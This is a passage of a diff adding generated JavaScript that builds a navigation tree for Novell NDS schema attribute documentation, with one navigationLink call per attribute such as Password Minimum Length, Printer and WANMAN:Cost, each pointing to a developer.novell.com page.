+ setLevels();
+ var navElement = navigationLink("NSCP:nsnewsACL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4614.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsprettyname ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4620.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:serverHostName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4626.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:serverProductName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4632.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:serverRoot ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4638.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:serverVersionNumber ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4644.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:subtreeACI ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4650.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4656.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Obituary ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4662.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Obituary Notify ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4668.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object Class ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4674.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Operator ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4680.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Other GUID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4686.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4692.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Owner ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4698.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Page Description Language ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4704.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("pager ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3oojmj.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition Control ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4716.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition Creation Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4722.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition Status ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4728.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Allow Change ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4734.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Expiration Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4740.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Expiration Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4746.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Management ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4752.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Minimum Length ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4758.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Required ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4764.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Unique Required ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4770.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Passwords Used ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4776.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4782.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Permanent Config Parms ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4788.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Physical Delivery Office Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4794.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Postal Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4800.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Postal Code ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4806.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Postal Office Box ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4812.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Postmaster ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4818.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("preferredDeliveryMethod ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4824.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("presentationAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4830.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Print Job Configuration ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4848.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Print Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4854.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4860.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Configuration ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4872.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Control ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4878.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Private Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4914.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Profile ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4920.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Profile Membership ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4926.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("protocolInformation ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4932.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Public Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4944.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Purge Vector ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4950.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Queue ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4956.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Queue Directory ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4962.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Received Up To ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4968.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Reference ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4974.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("registeredAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4980.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5010.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica Up To ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5016.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5028.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Revision ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5064.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Role Occupant ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5070.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("roomNumber ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5076.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Run Setup Script ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5082.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5088.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5094.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SAP Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5100.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SAS:Security DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5106.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SAS:Service DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5112.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("searchGuide ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5118.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("searchSizeLimit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5124.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("searchTimeLimit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5130.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Security Equals ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5136.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Security Flags ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5142.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("See Also ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5148.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Serial Number ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5154.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5160.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Server Holds ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5166.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Set Password After Create ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5172.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Setup Script ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5178.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Status ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5286.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("supportedAlgorithms ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5298.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("supportedApplicationContext ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5304.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Supported Connections ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5310.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Supported Gateway ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5316.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Supported Services ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5322.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Supported Typefaces ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5328.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Surname ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5334.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Synchronization Tolerance ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5358.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Synchronized Up To ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5364.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5370.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Telephone Number ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5376.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("telexNumber ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5382.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("telexTerminalIdentifier ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5388.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Timezone ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5394.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Title ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5400.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Transitive Vector ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5406.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Trustees Of New Object ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5412.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Type Creator Map ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5418.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5424.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("uniqueID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5430.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unknown ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5436.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unknown Auxiliary Class ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5442.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unknown Base Class ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5448.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Used By ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5454.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("User ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5460.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("userCertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5466.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("userPassword ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6m1fnz.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Uses ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5472.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Version ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5478.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Volume ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5484.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Volume Space Restrictions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5490.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("WANMAN:Cost ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5496.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("WANMAN:Default Cost ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5502.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("WANMAN:LAN Area Membership ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5508.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("WANMAN:WAN Policy ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5514.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("x121Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5520.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("x500UniqueIdentifier ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5526.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Novell Attribute Extensions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3fh5xp.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("audio ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3omwno.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("carLicense ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3on4e7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Client Install Candidate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk980.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
